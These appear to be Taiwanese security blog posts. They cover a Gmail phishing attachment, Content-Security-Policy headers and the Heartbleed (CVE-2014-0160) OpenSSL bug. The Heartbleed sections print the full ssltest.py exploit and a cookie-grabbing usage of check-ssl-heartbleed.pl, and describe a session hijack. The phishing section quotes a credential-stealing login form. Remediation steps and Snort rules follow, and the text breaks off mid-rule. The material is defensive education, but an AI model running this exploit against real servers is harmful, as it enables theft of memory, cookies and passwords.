最近身邊的朋友不斷的收到 Gmail 中 Google 的警告：

駭客間的戰爭已經不只是個人對個人，而已經擴大成國家對國家。一個國家為了獲取他國的機密文件、情報、個人資料等，都會想盡各種辦法入侵帳號、寄送惡意郵件、釣魚盜取密碼等。而身為受害者的我們能做什麼呢？Google 官方提出的建議是：加強密碼安全、注意登入 IP 位址、更新自己使用的軟體、開啟二階段驗證。當然有良好的資安意識才是更重要的。

正好今天收到一個簡單的案例，提供給各位參考。

在信箱中躺著一封很像是國外客戶的信件「Company Profile / Order Details」。內容看起來也很正常，並且附上了公司的基本資料為附加檔案。

點開附件，會發現畫面先跳了 JavaScript 警告視窗後，隨即導向到 Google 登入頁面。

注意看，這個登入頁面是真的嗎？有沒有發現畫面上的「Stay signed in」前面的勾變成方框了？瀏覽器上的網址也是在本機的位址。想想看，怎麼可能點了附件之後，跳轉到 Google 登入畫面？

讓我們看一下原始碼，會發現他的 form 被改成一個奇怪的網址，看起來就是惡意網站。其餘網頁的部份都是從 Google 真實的登入頁面抓取下來修改的。因此只要一不注意，就會以為是真的 Google 登入畫面而輸入帳號密碼。

節錄部分 code 如下：

<formnovalidate=""method="post"action="http://cantonfair.a78.org/yahoo/post.php"id="gaia_loginform"><inputname="GALX"value="6UMbQQmFgwI"type="hidden"><inputname="continue"value="http://mail.google.com/mail/"type="hidden"><inputname="service"value="mail"type="hidden"><inputname="hl"value="en"type="hidden"><inputname="scc"value="1"type="hidden"><inputname="sacu"value="1"type="hidden"><inputid="_utf8"name="_utf8"value="☃"type="hidden"><inputname="bgresponse"id="bgresponse"value="js_disabled"type="hidden"><inputid="pstMsg"name="pstMsg"value="1"type="hidden"><inputid="dnConn"name="dnConn"value=""type="hidden"><inputid="checkConnection"name="checkConnection"value="youtube:424:1"type="hidden"><inputid="checkedDomains"name="checkedDomains"value="youtube"type="hidden"><labelclass="hidden-label"for="Email">Email</label><inputid="Email"name="Email"placeholder="Email"spellcheck="false"class=""type="email"><labelclass="hidden-label"for="Passwd">Password</label><inputid="Passwd"name="Passwd"placeholder="Password"class=""type="password"><inputid="signIn"name="signIn"class="rc-button rc-button-submit"value="Sign in"type="submit">

發現了嗎？其中 form 的 action 欄位被取代成「http://cantonfair.a78.org/yahoo/post.php」，而這個頁面會直接接收受害者輸入的帳號密碼，並且自動跳轉到真正的 Google 登入頁面。攻擊者從 a78.org 這個網站中直接取得所有被駭的人輸入的帳號密碼。

這是一個很簡單、典型、又易被發現的釣魚案例。如果一時不察不小心輸入了帳號密碼，下次帳號被盜的就是自己。建議大家在收取信件的時候遵循幾大原則：

1. 不隨便開啟附加檔案：附件常夾帶惡意程式、執行檔、惡意文件、釣魚網頁等，切勿隨便開啟。可使用 Google Docs 開啟附件文件防止惡意文件攻擊 Adobe PDF Reader、Microsoft Office 等程式。更常有把惡意程式加密壓縮後寄出，在信中附上密碼，借此規避防毒軟體的偵測，不可不慎。
2. 注意信件中的超連結 URL：釣魚信件常在超連結中使用惡意網站的 URL，在點選之前務必仔細檢查，更要小心「Google」及「Goog1e」之類的英文數字差異。
3. 注意信件中的語氣：有的時候攻擊者仿冒你身邊可信任的人寄信給你，但是語氣、用詞要非常精準。如果出現了「尊敬的用戶您好」你就會發現這個應該不太像是台灣本土的信件用語。
4. 不在信件中夾帶機敏資料：信件是不安全的，切勿在信中提到帳號、密碼、個資等機密資料。
5. 不回應陌生郵件：郵件中會夾帶自己的 IP 位址，回應信件可能讓攻擊者得到這些資料。
6. 使用安全的郵件軟體：若使用安全的郵件軟體、平台，例如 Gmail，遇到惡意郵件時，會即時阻擋並且警告用戶。如果使用自己的郵件軟體，就要特別注意釣魚等攻擊。

電子郵件的攻擊已經成為滲透攻擊主要的手法之一，不少國際資安事件都是肇因於惡意郵件。例如 2013 年韓國 DarkSeoul 事件，以及竄改交易匯款資料郵件詐取匯款等。身為目標的我們更要時時注意使用電子郵件時的安全事項。

Content-Security-Policy

還記得在上一篇 HTTP headers 的資安議題 (1)文章中，我們提到了多種資安相關的 HTTP headers 嗎？接下來的幾篇文章我們會介紹幾個專門對付 XSS 的 HTTP headers，首先就由 Content-Security-Policy 打頭陣。

Content-Security-Policy（以下簡稱 CSP）是從 2010 年被提出來的一項 Web 規格，主要目的是用來防止 Cross-Site Scripting（以下簡稱 XSS）跟網頁樣式置換（例如科技部被惡搞就是一個最好的例子）。經過五年發展，CSP 1.0 已從 W3C 的 TR (Technical Report) 變成 Candidate Recommendation，應該不久就會將成為 W3C 推薦標準。新的 CSP 1.1則仍在草案階段。

CSP 家族龐大，總共有三個類別，六個項目：

• Content-Security-Policy
• Content-Security-Policy-Report-Only
• X-Content-Security-Policy
• X-Content-Security-Policy-Report-Only
• X-WebKit-CSP
• X-WebKit-CSP-Report-Only

在 CSP 發展初期，主流瀏覽器並未全部依照同一標準來開發，因此發展成這三種類別。目前由於 CSP 1.0 即將成為標準，大多數瀏覽器已支援 Content-Security-Policy 這個類別，因此狀況已逐漸收斂。主流瀏覽器的支援列表如下圖：

從列表中可看到，只要使用 Content-Security-Policy 與 X-Content-Security-Policy 就已有很高的覆蓋率，除非要支援 Safari 6，否則不用特意使用 X-WebKit-CSP。更詳細的瀏覽器支援列表可參考 Can I use。

CSP 1.0 主要作用

• 載入來源白名單

  宣告一組受信任的白名單與資源種類（如 JavaScript, CSS, image 等等），使瀏覽器只能從此白名單中載入資源，藉此防止攻擊者從外部引入含有惡意程式碼的資源。

  例：Content-Security-Policy: default-src ‘self’; script-src ‘self’ http://js.devco.re; style-src ‘self’ http://css.devco.re; img-src ‘self’ data:; frame-src ‘none’

  效果：限定 script 資源只能從 http://js.devco.re 載入；限定 style 資源只能從 http://css.devco.re 載入；限定 img 只能從相同 domain 載入，並且支援 data scheme；限定 frame 不能從任何來源載入；除了 script、style、img、frame 之外的資源，則只能從同樣 domain 以及同樣協定的來源載入。

• 禁止 inline 程式碼

  一般人開發網站時為求便利，經常會在 HTML 中寫入一些 inline 程式碼，但攻擊者意圖入侵網站時也常用此手法。然而瀏覽器其實無法分辨這些 inline 程式碼究竟是開發人員寫的，還是攻擊者植入的。因此 CSP 乾脆強迫開發者必須把所有 inline 程式碼移到外部檔案，完全杜絕在 HTML 中出現 inline 程式碼的狀況。因此除非你在 CSP 宣告時有註明 ‘unsafe-inline’，否則 CSP 預設禁止使用 inline script 或 inline CSS。

  例：Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-inline’

• 禁止 eval 函式

  eval() 對許多開發者來說一直是個非常方便的函式，然而若缺乏資安觀念，使用此函式時很可能會導致潛在的 XSS 風險。因此除非你在 CSP 宣告時有註明 ‘unsafe-eval’，否則 CSP 預設禁止使用 eval() 函式。

  例：Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-eval’

• 防止 sniffer

  由於 CSP 可指定載入資源時強制使用 https 協定，因此可降低被 sniffing 的機率。

  例：Content-Security-Policy: default-src http://devco.re; img-src https:

  效果：限定圖片只能從 https 協定載入，不限定 domain。而除了圖片之外的資源則可從任意來源載入。

CSP Demo

下面這一段程式碼，使用 default-src * 讓相關資源可正常顯示：

<?phpheader("Content-Security-Policy: default-src *");?><html><head><title>CSP Demo Site</title></head><body><h3>Content Security Policy Demo Site</h3><img width="200" height="200" src="http://devco.re/assets/themes/devcore/images/double-sticker.png"></img><iframe frameborder='0' width='300' height='200' src='http://www.youtube.com/embed/E-BGf1MwecU'></iframe></body></html>

接下來我們將 php header 的那一行程式碼修改如下並且 reload 瀏覽器頁面：

<?phpheader("Content-Security-Policy: default-src *; img-src https:; frame-src 'none'");?>

使用 CSP 限制 img 與 frame 的來源種類後，我們可以從上圖 Chrome Inspector 的紅字觀察到，網站的圖片與 iframe 影片已被瀏覽器擋掉，無法載入。

如果擔心直接使用 CSP 會影響網站營運，但又想嘗試 CSP，可以先使用 Content-Security-Policy-Report-Only，示範如下：

<?phpheader("Content-Security-Policy-Report-Only: default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo");?>

由上圖可以看到，此 header 不會直接阻擋不符合 CSP 規範的資源，但是會根據使用者所違反的規則發送相對應的 POST request 至指定的 URI，發送內容如下：

{"csp-report":{"blocked-uri":"http://devco.re/","document-uri":"http://yoursite.com/csp.php","original-policy":"default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo","referrer":"","status-code":200,"violated-directive":"img-src https:"}}

由發送內容可看出這個 request 因為違反了「img-src https:」規則而將「http://devco.re/」這個來源擋掉。經由此方式，可一邊修改網站一邊觀察是否仍有不符合 CSP 規範之處，等到所有違規的內容都修正完畢後，再將 CSP 套用到正式上線環境。

由於宣告方式非常多種，在這邊就不一一條列，若有興趣可前往 Content Security Policy Reference & Examples、Using Content Security Policy - Security | MDN等網頁，有更完整的使用情境與範例可供參考。另外也有 Slide (by Ben Vinegar) 跟 YouTube 影片 (by Adam Barth) 可參考。

若欲使用 CSP 卻一直未能成功時，可到 Content Security Policy Playground驗證您所寫的設定是否正確。

CSP 實際使用案例

目前採用 CSP 的案例較少，比較知名的使用案例是 GitHub，在 2013 年 4 月 GitHub 還寫了一篇專文公告表示他們已開始採用 CSP。另外一個案例廠商可能較廣為人知，是在 2013 年當紅的免費儲存空間 MEGA。兩個案例的實際內容可見於下圖：

另一項知名使用案例是 Google 明定開發 Chrome Extension 時必須使用 CSP，以追求更高的安全性。Mozilla 也在 MozillaWiki 開了一頁存放相關技術細節。若您想觀察其他使用案例，可使用 Chrome Inspector 或 curl 觀察以下幾個網站：LastPass，Twitter Help Center，Adblock Plus，Sendsafely，LikeAlyzer。

CSP 常見誤用案例

• directives 後面不需加冒號

  錯誤：default-src: ‘self’

  正確：default-src ‘self’

• directives 之間以分號區隔

  錯誤：default-src ‘self’, script-src ‘self’

  正確：default-src ‘self’; script-src ‘self’

• 多個 source 之間僅以空白區隔

  錯誤：default-src ‘self’; img-src ‘self’, img1.devco.re, img2.devco.re

  正確：default-src ‘self’; img-src ‘self’ img1.devco.re img2.devco.re

• 某些 source 必須加冒號（https:、data:）

  錯誤：default-src ‘self’; img-src ‘self’ https data

  正確：default-src ‘self’; img-src ‘self’ https: data:

• 某些 source 必須用單引號括起來（’none’、’self’、’unsafe-inline’、’unsafe-eval’）

  錯誤：script-src self unsafe-inline unsafe-eval

  正確：script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’

結論

使用 CSP 可以有效提升攻擊難度，讓許多常見的 XSS 攻擊失效，是一個非常推薦開發者使用的 HTTP header。但由於目前的開發者在 HTML 裡面寫 inline script 及 inline CSS 的比例非常高，同時也有一些網路服務預設都需要使用 inline script（例如 Google Analytics，相關解法可參考這裡），因此要享受這樣的安全之前，可能需要先付出許多時間與心力將網站大幅整理，套用 CSP 規範後網頁才能正常運作。

OpenSSL CVE-2014-0160 嚴重漏洞

OpenSSL 今天公告了一個極度嚴重的漏洞（CVE-2014-0160），被稱為「Heartbleed」，而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料，利用傳送 heartbeat 的封包給伺服器，在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料，因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等，因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。

詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug

• 軟體名稱：OpenSSL
• 影響範圍：1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
• 修復版本：1.0.1g / 1.0.2-beta2
• 影響系統版本
  • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5, OpenSSL 1.0.1e-15
  • Fedora 18, OpenSSL 1.0.1e-4
  • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
  • FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c)
• 影響服務：HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務

OpenSSL 的公告如下：https://www.openssl.org/news/secadv_20140407.txt

A missing bounds check in the handling of the TLS heartbeat extension can be
used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
1.0.1f and 1.0.2-beta1.

如何自我檢測？

要如何測試自己的網站有沒有這樣的漏洞呢？可以利用以下的網站或工具直接查詢。

• Heartbleed test http://filippo.io/Heartbleed/

直接輸入 Domain 即可查詢，例如「fbi.gov」。

• 自我測試工具 http://s3.jspenguin.org/ssltest.py（或 http://pastebin.com/WmxzjkXJ）

使用方法直接執行「python ssltest.py ifttt.com」，或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料，可能內含機敏資料例如 private key、session cookie 等。

原始碼如下：

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# The author disclaims copyright to this source code.importsysimportstructimportsocketimporttimeimportselectimportrefromoptparseimportOptionParseroptions=OptionParser(usage='%prog server [options]',description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')options.add_option('-p','--port',type='int',default=443,help='TCP port to test (default: 443)')defh2bin(x):returnx.replace(' ','').replace('\n','').decode('hex')hello=h2bin('''16 03 02 00  dc 01 00 00 d8 03 02 5343 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cfbd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 0000 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 8800 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1cc0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0cc0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 1100 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 0403 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 1900 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 0800 06 00 07 00 14 00 15  00 04 00 05 00 12 00 1300 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 0000 0f 00 01 01                                  ''')hb=h2bin(''' 18 03 02 00 0301 40 00''')defhexdump(s):forbinxrange(0,len(s),16):lin=[cforcins[b:b+16]]hxdat=' '.join('%02X'%ord(c)forcinlin)pdat=''.join((cif32<=ord(c)<=126else'.')forcinlin)print'  %04x: %-48s%s'%(b,hxdat,pdat)printdefrecvall(s,length,timeout=5):endtime=time.time()+timeoutrdata=''remain=lengthwhileremain>0:rtime=endtime-time.time()ifrtime<0:returnNoner,w,e=select.select([s],[],[],5)ifsinr:data=s.recv(remain)# EOF?ifnotdata:returnNonerdata+=dataremain-=len(data)returnrdatadefrecvmsg(s):hdr=recvall(s,5)ifhdrisNone:print'Unexpected EOF receiving record header - server closed connection'returnNone,None,Nonetyp,ver,ln=struct.unpack('>BHH',hdr)pay=recvall(s,ln,10)ifpayisNone:print'Unexpected EOF receiving record payload - server closed connection'returnNone,None,Noneprint' ... received message: type = %d, ver = %04x, length = %d'%(typ,ver,len(pay))returntyp,ver,paydefhit_hb(s):s.send(hb)whileTrue:typ,ver,pay=recvmsg(s)iftypisNone:print'No heartbeat response received, server likely not vulnerable'returnFalseiftyp==24:print'Received heartbeat response:'hexdump(pay)iflen(pay)>3:print'WARNING: server returned more data than it should - server is vulnerable!'else:print'Server processed malformed heartbeat, but did not return any extra data.'returnTrueiftyp==21:print'Received alert:'hexdump(pay)print'Server returned error, likely not vulnerable'returnFalsedefmain():opts,args=options.parse_args()iflen(args)<1:options.print_help()returns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)print'Connecting...'sys.stdout.flush()s.connect((args[0],opts.port))print'Sending Client Hello...'sys.stdout.flush()s.send(hello)print'Waiting for Server Hello...'sys.stdout.flush()whileTrue:typ,ver,pay=recvmsg(s)iftyp==None:print'Server closed connection without sending Server Hello.'return# Look for server hello done message.iftyp==22andord(pay[0])==0x0E:breakprint'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if__name__=='__main__':main()

• 自我測試工具 https://github.com/noxxi/p5-scripts/blob/master/check-ssl-heartbleed.pl

使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」，可在網域名稱後指定特定 SSL 連接埠。

使用說明：

Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160)Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port  --starttls proto[:arg] - start plain and upgrade to SSL with			   starttls protocol (imap,smtp,http,pop)  -T|--timeout T         - use timeout (default 5)  -H|--heartbeats N      - number of heartbeats (default 1)  -s|--show-data [L]     - show heartbeat response if vulnerable, optional                           parameter L specifies number of bytes per line (16)  -R|--show-regex-data R - show data matching perl regex R. Option can be                           used multiple times  -q|--quiet             - don't show anything, exit 1 if vulnerable  -h|--help              - this screenExamples:  # check direct www, imaps .. server  check-ssl-heartbleed.pl www.google.com:443  check-ssl-heartbleed.pl www.google.com:https  check-ssl-heartbleed.pl mail.google.com:imaps  # try to get Cookies  check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443  # check webserver via proxy  check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000  # check imap server, start with plain and upgrade  check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143  # check pop server, start with plain and upgrade  check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110  # check smtp server, start with plain and upgrade  check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587

應對措施

如果發現自己的伺服器有這樣的漏洞，該怎麼辦呢？

1. 確認自己的 OpenSSL 版本是否在受害範圍
2. 使用 ssltest.py 檢測工具檢測是否含有漏洞
3. 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
4. 重開所有與 OpenSSL 函式庫相關之服務
5. 重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
6. 將網站舊憑證撤銷
7. 清除所有目前網頁伺服器上的 Session （因為可能遭到竊取）
8. 必要時更換網站內使用者密碼，或是密切追蹤網站是否有帳號盜用的情況發生

詳細討論與建議可以參考 Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it

誰會是目標呢？

真的會有攻擊者利用這樣的攻擊手法嗎？目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式，想要藉此把平常打不下來的網站一舉攻陷。

怎樣的站台會是重點目標呢？含有會員機制的網站特別如此，例如 Web Mail、社群網站等等。因此不少企業要多注意了，例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS，都會在這波的攻擊範圍之內。如果沒有儘速修復，等到更有效的攻擊程式出現，就真的等著失血了。

小結

就連 OpenSSL 這種歷史悠久而且重要的函式庫，都可能犯這種基本的 C 語言程式設計錯誤，老舊的程式碼一定有不少陳年遺毒，如果沒有徹底清查，類似的心臟噴血事件會不斷上演。大家快點止血吧！

你跟上了 OpenSSL Heartbleed 的祭典了嗎？如果還沒有，別忘記詳細閱讀一下我們的前文「OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞」。

這幾天不少企業、民眾都不斷來詢問我們相對應的解決方案：

• Heartbleed 跟我有關嗎？我該怎麼知道？
• 我該怎麼更新 OpenSSL？
• 我如果不能更新，要怎麼防止攻擊？
• Heartbleed 漏洞攻擊者會怎麼利用？
• 目前受害的狀況如何？
• 我只是一般民眾，該如何應對？

我相信不少人都有類似的疑問，我們以這篇專文補遺上次沒提到的資訊。

攻擊手法示範

大家都說 OpenSSL Heartbleed 漏洞可望為本年度最嚴重的漏洞，到底有多嚴重呢？我相信沒有看到攻擊的範例是沒有感覺的。大家可以先看看以下的影片，利用最先釋出的兩個簡單的 PoC exploit （弱點利用程式）「ssltest.py」以及「check-ssl-heartbleed.pl」，來檢測伺服器是否有 Heartbleed 問題。檢測的同時可以獲取伺服器記憶體中的資訊，其中就可能包含了機敏資訊。

讓我們來看看吧！

首先利用 ssltest.py來測試，來看伺服器是否有被 heartbleed 漏洞影響，fbi.gov 在第三天已經修復這個問題。

如果是檢測一個有漏洞的網站，這個工具會直接把記憶體的內容顯示出來，其中可能包括 http 傳輸的資料、帳號密碼、私密金鑰等。在這個例子中，攻擊程式讀取到使用者送出的 form，若其中包含個資將會被一覽無遺，非常危險。

另一個工具 check-ssl-heartbleed.pl可以使用 -R 參數做更有效的利用。直接執行指令可以快速顯示伺服器有無問題。

如果使用「-R」參數並且指定特定的正規表示式，可以抓出想要獲取的資料。例如 Cookie、帳號密碼等。以此例，我們知道這個網站提供 phpMyAdmin套件，因此直接鎖定「pmaPass」資料來抓取，沒想到第一次就抓到了。

接著攻擊者只要把這個獲取到的 Cookie 存入自己的瀏覽器中，就可以如影片中盜用這個帳號。是否很危險呢？

除了這種利用方法之外，還有更多情況是直接把使用者登入的帳號密碼直接顯示出來的，因此如果伺服器沒有做好防禦或更新，整個網站的使用者資料都可以因此外洩。這也是為什麼我們一直強調伺服器管理者必須要更新金鑰、全站使用者帳號密碼等，以防有心人士借此撈取資料。

誰在利用 Heartbleed 漏洞竊取資料呢？

由 github 上面的 commit 記錄，出問題的那行程式碼是在 2011-12-31 22:59:57 commit 的，不知道是開發者太累還是 NSA 的陰謀。根據 Bloomberg 的報導指出，知情人士表示 NSA 早在兩年前就已經知道此漏洞，並且利用這個漏洞竊取許多網站的機敏資料。這代表 NSA 在一開始就知道這個漏洞，令人不禁有其他聯想。

The U.S. National Security Agency knew for at least two years about a flaw in the way that many websites send sensitive information, now dubbed the Heartbleed bug, and regularly used it to gather critical intelligence, two people familiar with the matter said.

在之前台灣駭客年會 (HITCON) 2013 的講師 Rahul Sasi (Garage4Hackers) 公布了大量掃描 Heartbleed 漏洞的程式，也可以供研究人員自行研究，或者是尋找自己管理的主機中有多少包含這個風險的。

常見問題

OpenSSL 是什麼？IIS 會受 Heartbleed 漏洞影響嗎？

OpenSSL是一個函式庫（Library），在 UNIX 系列的服務若有使用 SSL，通常都會使用 OpenSSL。因此這次的漏洞並未影響微軟 IIS。

我使用 OpenSSL 0.9.8，太好了我用舊版我好安全！

你聽過 BEAST, BREACH, CRIME, Lucky 13嗎？

我沒有使用 HTTPS，所以我很安全！

。。。

只有網頁伺服器（HTTP Server）會受影響嗎？

不只！只要使用 OpenSSL 支援 STARTTLS 的服務都在影響範圍，包括 HTTPS、IMAPS、POPS、SMTPS 等伺服器。

只有自己架設的伺服器會受影響嗎？

當然不只！目前已經出現各大設備廠商都遭遇到這樣的問題。各大設備廠商、作業系統等影響狀況，可以參閱以下文章。

CERT: OpenSSL heartbeat extension read overflow discloses sensitive informationhttp://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=720951&SearchOrder=4

廠商的設備目前狀況特別嚴重，因為所有同個版本的設備都會受影響，而在廠商釋出更新之前，只能被動的等待更新。若沒有繼續簽訂維護約的設備，也只能繼續跟廠商簽約更新，或者是看廠商是否可以直接提供更新檔。如果有 VPN Server 等服務更要注意，如果被攻擊者取得帳號密碼，等於如入無人之境，直接使用你的帳號登入到企業內網，不可不慎。

各家系統更新的速度？

引述自好朋友 Ant 的文章，各家作業系統、網站的更新速度，代表著企業重視資安的程度以及針對資安事件緊急應變的效率，也可以作為我們挑選系統、網站、廠商的依據。

二、作業系統的更新進度

從資安事件的處理可以推敲出各作業系統商對於緊急事件的反應速度。 時間軸，按照修復的先後排列：

1. OpenSSL (資安弱點的主角) 第一次公開揭露的時間約在 2014年4月6日 0時。
2. RedHat 在 2014年4月7日 07:47:00 正式修復。
3. OpenSSL 正式確認並修復的時間約在 2014年4月7日16時。
4. OpenBSD 約在 2014年4月7日 20:17 正式修復。
5. Arch Linux 約在 2014年4月7日 20:36 正式修復。
6. Debian 約在 2014年4月7日 21:45 正式修復。
7. FreeBSD 約在 2014年4月7日 21:46 正式修復。
8. Ubuntu 約在 2014年4月7日 21:48 正式修復。 (2014年4月8日分隔區)
9. Fedora 約在 2014年4月8日 00:33 正式修復。
10. CentOS 約在 2014年4月8日 02:49 正式修復。
11. OpenSUSE 約在 2014年4月8日 05:32 正式修復。
12. Scentific 約在 2014年4月8日 08:27 正式修復。
13. Gentoo 約在 2014年4月8日 09:36 正式修復。

重點整理： 1. RedHat 修復的速度比 OpenSSL 官方還快。 2. RedHat 派系的修復時間，除了 RedHat 外都算慢，如 Fedora 及 CentOS、Scentific，他們都比 RedHat 慢 16 小時以上。 3. Debian 派系的修復時間，如 Debian 及 Ubuntu，都比 RedHat 慢上至少 12 小時以上。 4. Gentoo 是列表中修復最慢的。 5. 若以資安黃金 6 小時來說，Fedora、CentOS、OpenSUSE、Scentific 及 Gentoo 都不及格。

三、大公司更新的速度

同樣地，從資安事件的處理可以推敲出各公司對於緊急事件的反應速度。

雲端相關公司 * Cloudflare 約在 2014年4月7日 11時修復。 * DigitalOcean 約在 2014年4月8日 12時修復。 * AWS 約在 2014年4月8日 12時修復。 * Linode 約在 2014年4月8日 14時修復。 * Heroku 約在 2014年4月8日 16時修復。

有些公司直到 2014年4月8日 16時都還沒修復。此時已離官方正式修復整整一天，也比上述機器數很多的雲端相關公司還慢。這些公司為， * Yahoo.com / Flickr.com * Kaspersky.com (資安公司) * stackoverflow.com * stackexchange .com * php.net

感謝 StackNG 的補充：Cloudflare 於 2014 年 4 月 7 日 11 時公告，但在漏洞公告之前已經修復。

目前還有哪些伺服器有問題呢？

根據 ZMap的研究報告指出，他們針對 Alexa 前一百萬個網站進行檢測，大約有 36% 的伺服器支援 TLS、7.6% 的伺服器含有此漏洞。ZMap 並提供了一個完整的清單列出在 2014/4/11 17:00 尚未修復漏洞的網站。

有什麼值得測試的網站呢？

via Facebook

我要怎麼更新 OpenSSL 呢？

根據不同的 Linux Distribution 有不同的更新方式，若有自己客製化一些程式設定，可能就需要自行更新。以下我們簡單介紹更新步驟：

RedHat / CentOS / Fedora 系列更新套件：

yum update
yum update openssl #只更新 OpenSSL

Debian / Ubuntu 系列更新套件：

sudo apt-get update
sudo apt-get dist-upgrade

若只要更新 OpenSSL 則可以執行以下指令

sudo apt-get install --only-upgrade openssl
sudo apt-get install --only-upgrade libssl1.0.0

注意 OpenSSL 是否已經更新為修復的版本：

rpm -q -a | grep "openssl"  # RedHat
dpkg -l | grep "openssl"    # Debian

接著請記得撤銷原本的簽章金鑰，重新簽署，並記得提交 CSR (Certificate Signing Request) 給 CA (Certification Authority)。

openssl req -new -newkey rsa:2048 -nodes -keyout hostname.key -out hostname.csr

結束後記得重新啟動相關服務

sudo service httpd restart      # RedHat
sudo service apache2 restart    # Debian

最後再使用檢測工具看自己的網頁伺服器或其他相關服務是否已經不在漏洞受害範圍。

我無法更新我的伺服器，我該怎麼在 IDS 偵測攻擊呢？

若你使用 Snort IDS，官方已經釋出 SID 30510 到 30517 來偵測，並且在 Community Rules 中也有包含。 http://www.snort.org/snort-rules/#community

# SIDs 30510 through 30517 address detection of the heartbleed attackalert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL SSLv3 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 00|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl;  reference:cve,2014-0160; classtype:attempted-recon; sid:30510; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 01|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30511; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.1 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 02|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30512; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.2 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 03|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30513; rev:2;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER SSLv3 large heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; content:"|18 03 00|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30514; rev:3;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1 large heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; content:"|18 03 01|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30515; rev:3;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.1 large heartbeat response - possible ssl 